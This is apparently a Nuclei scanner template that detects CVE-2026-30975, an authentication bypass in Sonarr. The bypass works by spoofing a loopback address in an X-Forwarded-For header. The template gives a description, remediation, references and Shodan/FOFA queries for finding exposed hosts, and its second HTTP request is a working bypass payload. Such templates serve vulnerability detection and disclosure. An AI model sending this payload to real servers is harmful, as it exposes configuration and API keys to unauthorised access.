Sonarr before 4.0.16.2942 clears the trusted proxy lists of the ASP.NET forwarded headers middleware, so the client address is taken from any X-Forwarded-For header. When Authentication Required is set to Disabled for Local Addresses, the UI authorization handler treats a spoofed loopback or private address as a local client and serves the protected web interface without login. Version 4.0.16.2942 trusts forwarded headers only from loopback and private networks.
id: CVE-2026-30975
info:
name: Sonarr < 4.0.16.2942 - X-Forwarded-For Authentication Bypass
author: s4e-io
severity: critical
description: |
Sonarr before 4.0.16.2942 clears the trusted proxy lists of the ASP.NET forwarded headers middleware, so the client address is taken from any X-Forwarded-For header. When Authentication Required is set to Disabled for Local Addresses, the UI authorization handler treats a spoofed loopback or private address as a local client and serves the protected web interface without login. Version 4.0.16.2942 trusts forwarded headers only from loopback and private networks.
impact: |
Unauthenticated remote attackers can access the Sonarr web interface and its API key, and then read and change the full application configuration, including download clients and indexers.
remediation: |
Upgrade to version 4.0.16.2942 (develop) or 4.0.16.2944 (main) or later, or set Authentication Required to Enabled.
reference:
- https://github.com/Sonarr/Sonarr/security/advisories/GHSA-h5qx-5hjf-7c9r
- https://github.com/Sonarr/Sonarr/commit/d10107739b9ed6a50165e5dd1dfae15c7e8aea56
- https://github.com/Sonarr/Sonarr/releases/tag/v4.0.16.2944
- https://nvd.nist.gov/vuln/detail/CVE-2026-30975
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-30975
epss-score: 0.02434
epss-percentile: 0.85007
cwe-id: CWE-290
cpe: cpe:2.3:a:sonarr:sonarr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: sonarr
product: sonarr
shodan-query: http.title:"Sonarr"
fofa-query: title="Sonarr"
tags: cve,cve2026,sonarr,auth-bypass
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302 && contains(location, "/login?returnUrl=")'
- 'status_code == 401 && contains(to_lower(www_authenticate), "realm=\"sonarr\"")'
condition: or
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 127.0.0.1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "window.Sonarr = {")'
- 'contains(body, "<title>Sonarr</title>")'
condition: and
# digest: 4a0a004730450220213efafee00ef231b26d64bdfc15cc90ec8657012fd0cf83313843045ba50d67022100b30fe4c5267d5b50cdde72092d588cc424b6d75536e22f666ce7de455d8c9653:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.